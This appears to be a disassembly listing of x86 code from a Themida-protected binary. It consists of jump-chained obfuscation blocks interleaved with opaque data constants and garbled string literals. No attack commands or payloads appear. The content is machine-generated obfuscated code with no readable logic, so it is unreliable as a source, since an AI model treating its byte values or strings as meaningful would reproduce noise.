5EACE91Bh dd 0E95B0000h, 29Ch, 81242C8Bh, 4C4h, 24048F00h, 8FBA525Ch dd 8136693Ah, 1EAh, 0A7B95100h, 0F741D826h, 0B5BA52D9h dd 0E91D9B02h, 94D6h ; --------------------------------------------------------------------------- loc_548FB4: ; CODE XREF: Themida_:0054CD6Fj pop esp shr ecx, 2 push 48F2h mov [esp], ebx push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push ebx mov ebx, esp push esi mov esi, 4 add ebx, esi pop esi push ebp jmp loc_54F2B2 ; --------------------------------------------------------------------------- db 5Eh dd 2B951h, 0C8010000h, 4FE5E9h db 0 ; --------------------------------------------------------------------------- loc_548FED: ; CODE XREF: Themida_:00546604j or ebp, 0AC55F3Ch xor ebp, 7684608h jmp loc_5485B8 ; --------------------------------------------------------------------------- dw 815Eh dd 4C4h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], ecx mov ecx, 4 add ebp, ecx jmp loc_551D10 ; --------------------------------------------------------------------------- loc_549020: ; CODE XREF: Themida_:0054E3CEj add ebp, 5DE43C70h jmp loc_5507C0 ; --------------------------------------------------------------------------- loc_54902B: ; CODE XREF: Themida_:0054AAD2j dec ebx push ecx mov ecx, 98E97DE8h xor ebx, ecx pop ecx jmp loc_54C076 ; --------------------------------------------------------------------------- dw 3FBEh dd 91EF21Ch, 0E9525EF3h, 0C2Ah, 0DA63E95Bh, 8B66FFFFh dd 89512404h, 4C181E1h, 56000000h, 2BD55h, 93680000h, 89000012h dd 0E8892404h, 0FFE80FE9h, 242C31FFh, 962CE9h db 0 ; --------------------------------------------------------------------------- loc_549079: ; CODE XREF: Themida_:00547E93j push 29D64488h jmp loc_54754B ; --------------------------------------------------------------------------- db 5Ah dd 4C281h, 0BB530000h, 2, 4F11C281h, 0DA015685h, 4F11EA81h dd 1C8B5685h, 0E6E95024h, 2D00003Dh, 550A4F1Dh, 8E2EE9h dd 67E95E00h, 21000085h, 0E99C2404h, 0FFFFD515h, 0EE930FFh db 0D5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5490C7: ; CODE XREF: Themida_:0054E44Dj push ecx mov ecx, ebx mov edx, ecx mov ecx, [esp] jmp loc_5512CA ; --------------------------------------------------------------------------- dd 592434FFh, 0E9E18951h, 33D1h ; --------------------------------------------------------------------------- loc_5490E0: ; CODE XREF: Themida_:00548952j pop ebp sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 add esi, 4 jmp loc_5510A6 ; --------------------------------------------------------------------------- dw 3489h dd 532B6824h, 295E479Ch, 0E9565EF0h, 33F6h, 0E95AD101h dd 0FFFFD77Fh, 8BF0315Ah, 89522434h, 0D0BF57E2h, 0E91B9576h dd 7584h ; --------------------------------------------------------------------------- loc_549128: ; CODE XREF: Themida_:00551C56j xchg esi, ebx inc esi xchg esi, ebx jmp loc_54AF13 ; --------------------------------------------------------------------------- dw 2D68h dd 89000031h, 5F54243Ch, 489AE955h, 815B0000h, 4C5h, 242C3300h dd 33242C31h, 248B242Ch, 240C8B24h, 575D5455h, 4BFh, 5FFD0100h dd 68685150h, 594DFE15h, 0F38FC181h, 0C8890F11h, 83240C8Bh dd 0E0D104C4h, 6008B951h, 0F1810970h, 69073B4Eh, 5E85C981h dd 0E9814DC3h, 0FFFFFFFFh, 0FFF27AE9h, 665A66FFh, 0C0E9D2F7h db 81h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5491A3: ; CODE XREF: Themida_:0054BC98j xchg ebx, [esp] pop esp and esi, 41A35FDFh sub esi, 152DDh jmp loc_54C174 ; --------------------------------------------------------------------------- dd 0DBEBE981h, 0CE01177Ah, 4EE8359h, 0E9243487h, 10E4h dd 722BED81h, 0C5016440h, 722BC581h, 68586440h, 64BAh dd 9BCE9h db 0 ; --------------------------------------------------------------------------- loc_5491E5: ; CODE XREF: Themida_:0054FA1Bj pop ebp add esp, 4 jmp loc_551F0D ; --------------------------------------------------------------------------- db 56h, 89h, 0E6h dd 4C681h, 0BB530000h, 4, 0A5E9DE29h, 8B000066h, 59E9241Ch db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54920F: ; CODE XREF: Themida_:0054EFF9j mov [esp], dx push ax pushf jmp loc_5465D5 ; --------------------------------------------------------------------------- db 5Ch dd 0E9240431h, 6FDBh, 687EF81h, 0CF0143A2h, 687C781h, 835943A2h dd 14E902C7h db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54923B: ; CODE XREF: Themida_:00546D2Ej mov ebp, [esp] jmp loc_54CE5F ; --------------------------------------------------------------------------- db 81h dd 3F64F9E3h, 51F3812Ch, 17C103Bh, 8FB1E9D8h, 0F5200000h dd 8324148Bh, 0C58004C4h, 0B3536641h, 0DAC5801Eh, 0ED80DD00h dd 0E95B66DAh, 50B5h, 348BF389h, 4C48124h, 1000000h, 5933FFD3h dd 51505A5Bh, 74996852h, 34FF658Dh, 8476E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549296: ; CODE XREF: Themida_:0054EAD7j pop esi jmp loc_54DF6C ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C4832404h, 4EC8104h, 89000000h, 8B542414h dd 0C4832414h, 59BD5504h, 0E931055Bh, 290Dh, 0E9240C89h dd 3C54h, 0F3BF781h, 0F8895288h, 64F62D5Fh, 0D3051400h dd 0F753681Eh, 45CF05D0h, 0F7050A38h, 1632ED6h, 24048BC1h dd 4C481h, 72680000h, 89000049h, 49BB241Ch, 0E9656200h dd 705Ah, 0B4240489h, 53DEE976h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54930E: ; CODE XREF: Themida_:00546DABj add ecx, 4 xchg ecx, [esp] jmp loc_54F168 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h aRitsTgzbEsxvu@ db 'R┴БS╩',0Dh,'tёz│ц╔И∙╒⌠@⌠И;',1Bh,0 dw 8B00h dd 14682414h, 8900003Ah, 1BE9241Ch, 5500000Bh, 5595E9h db 0 ; --------------------------------------------------------------------------- loc_549349: ; CODE XREF: Themida_:00551CDEj add eax, 4 jmp loc_549707 ; --------------------------------------------------------------------------- loc_549353: ; CODE XREF: Themida_:0054BD59j push edx mov edx, 4 mov ebp, edx pop edx add esi, ebp pop ebp sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], esi push 3FCh jmp loc_54C3E3 ; --------------------------------------------------------------------------- loc_549378: ; CODE XREF: Themida_:00547B6Bj xor [esp], ebx xor ebx, [esp] jmp loc_550891 ; --------------------------------------------------------------------------- db 89h dd 24348BF3h, 2904C483h, 18E95BD8h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549393: ; CODE XREF: Themida_:0055279Ej shl ebx, 8 add ebx, 2E02C292h mov edi, ebx pop ebx or edi, 27337331h dec edi jmp loc_54C6A1 ; --------------------------------------------------------------------------- db 5Bh dd 0FFF6CDE9h, 5EA7BFFFh, 47E92882h, 87000041h, 895C2434h dd 0E954243Ch, 8114h ; --------------------------------------------------------------------------- loc_5493C8: ; CODE XREF: Themida_:00552925j pop ecx xor edi, esi pop esi push edi pop ebp pop edi and eax, ebp jmp loc_54FA18 ; --------------------------------------------------------------------------- aBi db '│Къ',0Dh,0 db 66h dd 40D5C381h, 18E914DAh, 0B0FFFFFBh, 2E0C02Fh, 0C8FED8F6h dd 0C7289B04h, 752C58h, 8B7504F8h, 0C483241Ch, 7665E904h dd 7E680000h, 5F1C9669h, 0E7814747h, 76FF199Dh, 97CEF81h dd 2CE91496h, 5B00002Dh, 68E38953h, 100Eh, 0E9240489h dd 8727h, 241CF766h, 0D19BE99Ch, 96E9FFFFh, 81FFFFD1h dd 4C6h, 6C54E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54944A: ; CODE XREF: Themida_:00548614j mov eax, 1F8C1DD6h add eax, 7B1E572Dh jmp loc_5486F1 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C4815Fh, 68000000h, 0D3Dh, 0BA241489h, 4CDF3A29h, 3722BD55h dd 0EA013892h, 83242C8Bh, 6E6804C4h, 8900000Dh, 1BD242Ch dd 81000000h, 0F73BC2EAh, 50EA0159h, 3A77DEB8h, 6E8C136h dd 0FFE31CE9h, 0CD8955FFh, 9315E9h db 0 ; --------------------------------------------------------------------------- loc_5494A9: ; CODE XREF: Themida_:0054C6C9j xor edx, 0E46C4BE9h xor ebx, edx pop edx sub edi, 6FF008D3h add edi, ebx add edi, 6FF008D3h pop ebx add eax, edi mov edi, [esp] add esp, 4 push 3D6Bh mov [esp], esi push edx push 485011ABh pop edx sub edx, 473B636Ah push edx xchg eax, [esp] not eax xchg eax, [esp] pop edx jmp loc_548CD3 ; --------------------------------------------------------------------------- dd 1E1BE943h, 0BF570000h, 9A99E85Bh, 97E9F831h, 31000012h dd 34332434h, 0C6E95C24h, 53FFFFD0h, 271E14BBh, 1F57E951h dd 34FF0000h, 0DB55E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549522: ; CODE XREF: Themida_:0054710Fj mov [esp], ecx mov ecx, 0FFFFFFFFh jmp loc_552919 ; --------------------------------------------------------------------------- db 81h dd 1D7C0CC3h, 0FFE9567Fh, 0D0FFFFFAh, 0DEB753EDh, 0FFDDA7E9h db 0FFh ; --------------------------------------------------------------------------- loc_549545: ; CODE XREF: Themida_:0054C3EAj sub edi, esi jmp loc_54C82E ; --------------------------------------------------------------------------- dd 67E468h, 2C45E900h, 0C4810000h, 4, 0BA665266h, 31662E66h dd 665A66D5h, 6653D5F7h, 0E94D15BBh, 18ACh, 3D7BE955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54957A: ; CODE XREF: Themida_:0054BFCCj push 1C8h mov [esp], ebx pop edx pop ebx sub edx, 16BF0DBEh add ecx, edx pop edx xchg ecx, [esp] pop esp xor ebx, eax sub esp, 4 mov [esp], ebx mov ebx, 255A35F9h sub ebx, 0E5D7D20Ch add edx, ebx pop ebx add edx, 39430466h push esi mov esi, 64A76295h sub esi, 0F64C4664h sub edx, esi pop esi sub edx, eax jmp loc_54FE96 ; --------------------------------------------------------------------------- db 8Bh dd 0C481240Ch, 4, 4EC81h, 1C890000h, 0E0895024h, 0FFF97DE9h dd 16CF68FFh, 56593742h, 0E9C1E957h, 0C483FFFFh, 0C2F18104h dd 8776504Dh, 52514AD1h, 7CA8E9h, 4C48300h, 5E9F828h db 6Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_549607: ; CODE XREF: Themida_:0054BF4Dj xchg ebx, [esp] jmp loc_54C311 ; --------------------------------------------------------------------------- db 5Ch dd 0BF243C89h, 38065F16h, 1CEF68h, 241C8900h, 47700EBBh dd 0FF05E92Ah, 3433FFFFh, 4A685C24h, 89000027h, 0ECE92414h dd 8900002Ah, 4C381E3h, 0E9000000h, 0FFFFDDDBh, 4B850h dd 0E9810000h, 1D095D7Fh, 0C181C101h, 1D095D7Fh, 4C18158h dd 87000000h, 248B240Ch, 88CAE924h, 0DF010000h, 0FFE3A2E9h dd 58C301FFh, 76CBB850h, 0C4E91BC4h, 0FE00008Dh, 0E9C0FEC8h dd 1EDDh ; --------------------------------------------------------------------------- loc_54968C: ; CODE XREF: Themida_:0054E3B2j mov esi, 6F6533Bh add eax, esi jmp loc_54FF08 ; --------------------------------------------------------------------------- dd 0B018D7B9h, 3DA1E90Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5496A2: ; CODE XREF: Themida_:00549EB2j push ebp mov ebp, 4 add eax, ebp pop ebp add eax, 4 xchg eax, [esp] jmp loc_54FCFD ; --------------------------------------------------------------------------- dd 5AD5285Bh, 8007E5C0h, 0DDF6AAEDh, 8475E9h, 36C28100h dd 0D11D6C6Bh, 81DAF7E2h, 2363C5F2h, 5AD389F1h, 0D87CFFBFh dd 5BDF3145h, 875FFE01h, 315C2434h, 0F0068C3h, 3C890000h dd 8D685224h, 8900003Ch, 0C389241Ch, 17E9DA89h db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549707: ; CODE XREF: Themida_:0054934Ej add eax, 4 xchg eax, [esp] pop esp shr ecx, 7 push dword ptr [edi+1Ch] jmp loc_552028 ; --------------------------------------------------------------------------- db 5, 4, 0 dd 0E6E90000h, 81FFFFD6h, 0D61055C2h, 3910E944h, 48B0000h dd 4886E924h, 0F8280000h, 5F9DE9h, 0EB816600h, 9BE91B19h dd 1000050h, 60E95AD0h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54974F: ; CODE XREF: Themida_:00549A9Aj push ebx push 7F92h mov [esp], eax jmp loc_54FA7C ; --------------------------------------------------------------------------- aSI db '\И%i',0 dw 8100h dd 150DCBE9h, 81D10134h, 150DCBC1h, 0E95F5A34h, 0FFFFD230h dd 1C8BDD01h, 4C48124h, 0E9000000h, 0FFFFE710h ; --------------------------------------------------------------------------- loc_549788: ; CODE XREF: Themida_:0054B74Aj sub esp, 4 mov [esp], edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_550321 ; --------------------------------------------------------------------------- db 8Bh dd 8957241Ch, 4C781E7h, 81000000h, 4ECh, 24348900h, 6502BF57h dd 6BE125Eh, 15250B3h, 243C8BFEh, 4C481h, 0C7E90000h db 5Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5497D7: ; CODE XREF: Themida_:0054D5ACj mov [esp], esi add dword ptr [esp], 232A50E0h pop eax push ebp mov ebp, 232A50E0h sub eax, 72E1279Ah sub eax, ebp add eax, 72E1279Ah pop ebp push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 push ecx push edx mov edx, 12C537EDh jmp loc_54B022 ; --------------------------------------------------------------------------- dd 0C12883B8h, 0D781051Bh, 0ADE9E43Eh, 1FFFFF9h, 0F91CE9DDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549826: ; CODE XREF: Themida_:0054EA8Dj push ecx dec dword ptr [esp] jmp loc_54AA22 ; --------------------------------------------------------------------------- aWsxv db 'WИЕV',0 dd 0E9C58900h, 144h, 0FF2434FFh, 0E9582434h, 501h, 17968h dd 24148900h, 8904EC83h, 0ACBD242Ch, 457C6638h, 1B12BA52h dd 0E9563C7Eh, 4080h, 0B8240489h, 0E92EBFh, 8158C321h dd 59572DF3h, 6889E922h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54987E: ; CODE XREF: Themida_:00551D0Bj push dword ptr [esp] pop ecx jmp loc_551670 ; --------------------------------------------------------------------------- db 5Ah dd 0C1FFC383h, 0C38103E3h, 2B3F2D64h, 71E9DD01h, 68000085h dd 20A23B20h, 4EEC15Eh, 530EE946h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5498AA: ; CODE XREF: Themida_:005481F1j add ecx, 595619F3h add ecx, esi jmp loc_54EAD1 ; --------------------------------------------------------------------------- db 0ADh dd 7489BD55h, 0EE294B8Eh, 0FFE459E9h, 53D3F7FFh, 5B2414F7h dd 0E904EC83h, 0FFFFFF94h, 0C75C281h, 14E914A9h, 0D000086h dd 34E9767Ah, 7F2CE9h, 4E1C000h, 369DE9h db 0 ; --------------------------------------------------------------------------- loc_5498F1: ; CODE XREF: Themida_:00548F31j add edi, 48F6219Fh add esi, edi mov edi, [esp] add esp, 4 add esi, 0CD06276h shl esi, 3 xor esi, 3EF85E1Ch jmp loc_54A152 ; --------------------------------------------------------------------------- db 66h dd 5624048Bh, 0D0D68h, 24248900h, 4240483h, 0E92434FFh dd 4A1Ch ; --------------------------------------------------------------------------- loc_54992C: ; CODE XREF: Themida_:0054D94Bj xor edi, 3AFE76EDh jmp loc_55053C ; --------------------------------------------------------------------------- db 0ADh dd 6AF8BA52h, 7E2D2303h, 53A6614h, 56EC3E5Dh, 5D2DD029h dd 5156EC3Eh, 0FFE829E9h, 1C77FFFFh, 6659669Dh, 9C2414D3h dd 4AA3E9h, 45B26800h, 2C890000h, 2BD24h, 0FDE90000h, 0B1FFFFF3h dd 0E9D9F6E4h, 588h, 8B5DEA89h, 0C4832404h, 50FA0104h dd 148B028Fh, 4C48124h, 0E9000000h, 37BFh, 0FFCC34E9h dd 8E2C1FFh, 7804C281h, 85E9020Fh, 5E000026h, 565AD001h dd 0FFDA43E9h, 40BDFFh, 33E90000h, 80000040h, 52666FF3h dd 0F3302EB6h, 700DE9h, 0C2815A00h, 4, 8704C283h, 8F5C2414h dd 0D35C2404h, 0EAE92424h, 66FFFFCBh, 68240C8Bh, 55B7h dd 0E9240489h, 7 ; --------------------------------------------------------------------------- loc_5499FC: ; CODE XREF: Themida_:0054C0E5j not esi jmp loc_547CE2 ; --------------------------------------------------------------------------- db 89h dd 0F55E9E0h, 3C870000h, 60685C24h, 8900001Eh, 0E951243Ch dd 0FFFFEBFDh, 242C8B5Ch, 4C481h, 0AAE90000h, 8BFFFFCBh dd 0E9522424h, 87C0h ; --------------------------------------------------------------------------- loc_549A34: ; CODE XREF: Themida_:0054A0FAj add edi, 1B67F65h jmp loc_54C874 ; --------------------------------------------------------------------------- loc_549A3F: ; CODE XREF: Themida_:0054D39Ej push ecx mov ecx, esp add ecx, 4 jmp loc_54D1C3 ; --------------------------------------------------------------------------- db 68h, 1Bh, 3Ah dd 0C890000h, 4B924h, 0CA010000h, 36CC6859h, 14890000h dd 2474FF24h, 24148B04h, 8F04C483h, 0F5C2404h, 31E9C8BEh dd 30000050h, 0F0285BFEh, 24ECE9h, 2CF80000h, 0B5515B5Ah dd 0E0B68Fh, 30E959EEh db 8Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_549A97: ; CODE XREF: Themida_:0055079Bj shr ecx, 0Ah jmp loc_54974F ; --------------------------------------------------------------------------- loc_549A9F: ; CODE XREF: Themida_:0054A795j mov ecx, 6E137002h jmp loc_54E4FB ; --------------------------------------------------------------------------- db 1, 0EBh, 5Dh dd 5AE5BA52h, 33E90EA7h, 3100008Bh, 14332414h, 24143124h dd 0FFCB10E9h, 0FECDFEFFh, 0F6F586C5h, 0FEF586DEh, 73A6E9CDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_549AD6: ; CODE XREF: Themida_:0054CAF6j add eax, 4BC70350h add eax, ecx sub eax, 4BC70350h push dword ptr [esp] mov ecx, [esp] jmp loc_5526F5 ; --------------------------------------------------------------------------- db 81h, 0EDh, 0D3h dd 0F7659F05h, 57ED81DDh, 296F530Eh, 1BE95DEBh, 0AD000035h dd 73C8E957h, 0B8500000h, 23887F58h, 0B2E9C621h, 0B800000Ah dd 6B7782Fh, 5AADE955h, 48F0000h, 24248B24h, 40D9E9h db 0 ; --------------------------------------------------------------------------- loc_549B2D: ; CODE XREF: Themida_:00548130j push 4CB2964h pop esi jmp loc_5515EC ; --------------------------------------------------------------------------- dd 4C181h, 0E9830000h, 8A93E904h, 30590000h, 0CDBBE9F9h dd 0E6C1FFFFh, 0C4C68104h, 0E9140D43h, 0FFFFF827h, 4C481h dd 0F0E90000h, 6800002Eh, 13EFh, 7F03E9h, 2434FF00h, 4EC8158h dd 0E9000000h, 6881h db 89h, 0E1h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_54A6C1 ; --------------------------------------------------------------------------- db 8Fh dd 665C2404h, 9C2404D3h, 36B8E9h, 24148900h, 4E5258BAh dd 0FBEA8104h, 0E9061A09h, 6CAEh, 5966E800h, 112CD828h dd 0E940B753h, 0FFFFFB72h, 31240C33h, 21E9240Ch db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549BCF: ; CODE XREF: Themida_:00551F18j push dword ptr [esp] pop ecx push ebp push 304Ah mov [esp], esp add dword ptr [esp], 4 pop ebp jmp loc_54DF2D ; --------------------------------------------------------------------------- db 3, 62h, 38h dd 8904EC83h, 7768242Ch, 0FF353515h, 0F6E92434h, 89000030h dd 39682434h, 5400003Ch, 6BFEE9h, 88685100h, 0E900002Dh dd 22A7h ; --------------------------------------------------------------------------- loc_549C18: ; CODE XREF: Themida_:loc_5505B3j shr edx, 1 cmp eax, edx jz loc_546C19 push 48D9h mov [esp], esi mov esi, 519C09BBh push 3248h mov [esp], edx jmp loc_54D1EA ; --------------------------------------------------------------------------- aPirsag db 'P┴ЮИМ┐',0 align 4 loc_549C44: ; CODE XREF: Themida_:0054F1D3j add esp, 4 jmp loc_54D5DB ; --------------------------------------------------------------------------- db 0D1h dd 0BB5347EFh, 3E956408h, 0FFFA11E9h, 240C8BFFh, 66AE68h dd 242C8900h, 8953E589h, 4ECCE9E3h, 0CDBA0000h, 31F37994h dd 0D9D5E9D3h, 0F381FFFFh, 64CE67DBh, 15BDD89h, 0C0835DE8h dd 287E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549C92: ; CODE XREF: Themida_:0054CDDEj push edi sub esp, 4 mov [esp], ebx jmp loc_55278D ; --------------------------------------------------------------------------- dw 0DAF7h dd 7FCCEA81h, 0D0291DC4h, 358EE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_549CAE: ; CODE XREF: Themida_:0054C096j mov [esp], edi add dword ptr [esp], 4B530EAFh pop eax sub eax, 4B530EAFh pop edi sub esp, 4 jmp loc_552982 ; --------------------------------------------------------------------------- dw 0E589h dd 4C581h, 0ED830000h, 74FF5504h, 8F5D0424h, 0E95C2404h dd 0FFFFE817h, 3A63FBB9h, 0E6E9813Fh, 29E0BC1Ah, 7485E9CFh dd 1C330000h, 24248B24h, 5944E9h, 61DDBE00h, 0F78967A1h dd 5FFD215Eh, 5606E5C1h, 997DFFBEh, 5EF52941h, 0E95DE831h dd 27D2h, 450492B5h, 0E953E828h, 193Ch, 3201C201h, 74C3E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_549D36: ; CODE XREF: Themida_:00550016j add ebx, edx jmp loc_54BCAB ; --------------------------------------------------------------------------- aYTvpsri db 'Y',9,'бяБVPИ░┴',0 dd 0E1895100h, 4C181h, 0E9830000h, 0D307E904h, 0C381FFFFh dd 4, 81E68956h, 4C6h, 43F2E900h, 0C4830000h, 4C48304h dd 0C39D615Fh, 0FFC858E9h, 240C33FFh, 33240C31h, 875C240Ch dd 248B2434h, 4096624h, 3EE99C24h, 5AFFFFC8h, 4246C81h dd 304B4B8Ch, 4244481h, 28BF61F4h, 4244C01h, 4246C81h dd 28BF61F4h, 4244481h, 304B4B8Ch, 83240C8Bh, 0B95104C4h dd 1C61EADh, 4244C01h, 81240C8Bh, 4C4h, 0C7FBE900h, 0E95AFFFFh dd 0FFFFF943h, 72357268h, 0C3815B00h, 26A975A4h, 0D5E1E943h dd 0E789FFFFh, 0FFDED4E9h, 575B54FFh, 82DAE9h, 0AE95C00h dd 66000033h, 0E9241489h, 2809h, 0E92434FFh, 47D7h ; --------------------------------------------------------------------------- loc_549E18: ; CODE XREF: Themida_:0054A6D8j mov eax, esi pop esi pop edx add eax, edi push ebx pop dword ptr [eax] jmp loc_54EBB1 ; --------------------------------------------------------------------------- dw 0E953h dd 0FFFFF80Fh, 8F68EE88h, 89000039h, 0F188240Ch, 1874C88h dd 0E9595A59h, 0FFFFC791h ; --------------------------------------------------------------------------- loc_549E44: ; CODE XREF: Themida_:0054A837j sub edx, 1B2810C6h or edx, 1F37597Ch shl edx, 7 add edx, 2F636CC3h jmp loc_54CAED ; --------------------------------------------------------------------------- dd offset dword_545350+18h dw 8900h dd 4832424h, 71E90424h db 61h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549E6F: ; CODE XREF: Themida_:005518C7j xchg eax, [esp] jmp loc_54EE8D ; --------------------------------------------------------------------------- loc_549E77: ; CODE XREF: Themida_:0054DEA1j sub eax, ebx pop ebx push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp jmp loc_54DFA5 ; --------------------------------------------------------------------------- aAiks04 db '─КkИ04',0 dd 2B800h, 0C5810000h, 2A1758B1h, 0A0E9C501h db 75h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549EA3: ; CODE XREF: Themida_:0055056Fj pop esp and eax, edi push dword ptr [esp] mov edi, [esp] add esp, 4 push eax mov eax, esp jmp loc_5496A2 ; --------------------------------------------------------------------------- aS_6 db '^И,~',0 db 0 ; --------------------------------------------------------------------------- loc_549EBD: ; CODE XREF: Themida_:00550465j push 1D27h mov [esp], esi push esp pop esi add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_54C4E7 ; --------------------------------------------------------------------------- loc_549EE4: ; CODE XREF: Themida_:0054E524j mov ebx, 2 add ecx, ebx pop ebx push ecx push dword ptr [esp+4] jmp loc_55061C ; --------------------------------------------------------------------------- dw 0FF56h dd 0E95E240Ch, 56E6h, 0E904C183h, 456Ch, 8006C980h, 0CF30A3E9h dd 4CE78059h, 838E9h, 24043300h, 0FFD0C7E9h, 0B2E95AFFh dd 66000063h, 68240C8Bh, 1225h, 54242C89h, 83242C8Bh, 0C58104C4h dd 4, 69A3BE56h, 0F0E93148h, 51FFFFC7h, 0A83FC5B9h, 244C2958h dd 79E95904h, 89000034h, 0E5E92414h, 0BD000000h, 55F67CC5h dd 0C8E9E801h, 58000043h, 405h, 4C08300h, 5C240487h, 2474FF52h dd 48F5A04h, 24248B24h, 9C2424D2h, 0FFC644E9h, 240C8BFFh dd 615B68h, 241C8900h, 115568h, 24248900h, 4240483h, 29C7E9h dd 4EC8300h, 89242C89h, 1FD8E9E5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549FBA: ; CODE XREF: Themida_:00552190j sub dword ptr [esp], 7CA32DEAh pop edx sub edx, 0DAB273A9h jmp loc_5519B3 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 17476824h, 0C890000h, 0B0E95424h db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549FDF: ; CODE XREF: Themida_:00551D2Aj mov ecx, 0E4444A24h add eax, ecx pop ecx mov ebp, eax pop eax add edx, 35762549h add edx, ebp jmp loc_54E138 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFC5D9h ; --------------------------------------------------------------------------- loc_549FFC: ; CODE XREF: Themida_:0054AF39j and eax, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 or edx, eax jmp loc_54EC69 ; --------------------------------------------------------------------------- db 4Bh dd 0F708E3C1h, 20E381D3h, 0F7393768h, 0DBEB81D3h, 89CEEA97h dd 0C8015BD9h, 7439E9h, 244C0100h, 0E9585908h, 0FFFFC595h dd 0E9535954h, 0FFFFCD35h, 689D68h, 24248900h, 4B951h dd 4C010000h, 0FF590424h, 70E92434h db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A063: ; CODE XREF: Themida_:0054A14Dj mov eax, [esp] push edx push esp pop edx add edx, 4 add edx, 4 jmp loc_54F3D8 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 4EC81h, 3C890000h, 4BF24h, 4E90000h, 8900004Dh, 86E92414h dd 51FFFFCBh, 408BBB53h, 78E90937h, 89000021h, 0EF015AD5h dd 243C335Dh, 0FFCAFFE9h, 81DBF7FFh, 377BDBF3h, 21C38163h dd 14D777Dh, 0E9835BD9h, 240C3304h, 72EFE9h db 0 ; --------------------------------------------------------------------------- loc_54A0D1: ; CODE XREF: Themida_:005520A6j push dword ptr [esp] pop ebx push ebx jmp loc_54BF3F ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFC4F5h ; --------------------------------------------------------------------------- loc_54A0E0: ; CODE XREF: Themida_:0054E570j push 3D36h mov [esp], eax mov eax, 0FFFFFFFFh jmp loc_54D563 ; --------------------------------------------------------------------------- loc_54A0F2: ; CODE XREF: Themida_:0054ED81j sub edi, 1B67F65h sub edi, ecx jmp loc_549A34 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 5871E900h, 815F0000h, 7DD05C7h, 5FFE29A1h, 505EF501h dd 405E089h, 0E9000000h, 0FFFFDAF4h, 246C815Eh, 98640908h dd 247C2944h, 24448108h, 98640908h, 3C8B5F44h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_54A063 ; --------------------------------------------------------------------------- loc_54A152: ; CODE XREF: Themida_:0054990Ej mov ebx, esi pop esi add ebx, 61D52EC6h add ebx, edi push edx mov edx, 61D52EC6h sub ebx, edx jmp loc_54C490 ; --------------------------------------------------------------------------- dw 77FFh dd 58669D1Ch, 9C240418h, 0FFC45CE9h, 2434FFFFh, 0FFC58DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54A181: ; CODE XREF: Themida_:0054F499j shr ebx, 6 sub esp, 4 mov [esp], ecx mov ecx, 65226E21h or ecx, 12E16h or ecx, 374360ACh add ecx, 4A501612h add ecx, 749562D3h or ecx, 4D3D5F87h sub ecx, 6B3D90BDh xor ebx, ecx jmp loc_54E6D0 ; --------------------------------------------------------------------------- dw 34FFh db 24h, 5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_548E3B ; --------------------------------------------------------------------------- loc_54A1C6: ; CODE XREF: Themida_:0054FA49j pop ebp sub edi, esi push eax mov eax, 730081Ah xor eax, 4948375Bh jmp loc_552356 ; --------------------------------------------------------------------------- db 5Bh, 89h, 0D8h dd 0E9241C8Bh, 1E9Ch, 4C48358h, 4BF57h, 0F9010000h, 74FF515Fh dd 8F590424h, 0F75C2404h, 1FF7E9F1h, 1C890000h, 5B69BB24h dd 2CE936DAh db 45h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A20F: ; CODE XREF: Themida_:0054A303j dec ebp or ebp, 6B4260A5h sub ebp, 21527E15h add ebp, 0F2F54620h mov eax, ebp jmp loc_546BBF ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0E951D828h, 0FFFFFAECh, 0E9241487h, 8628h ; 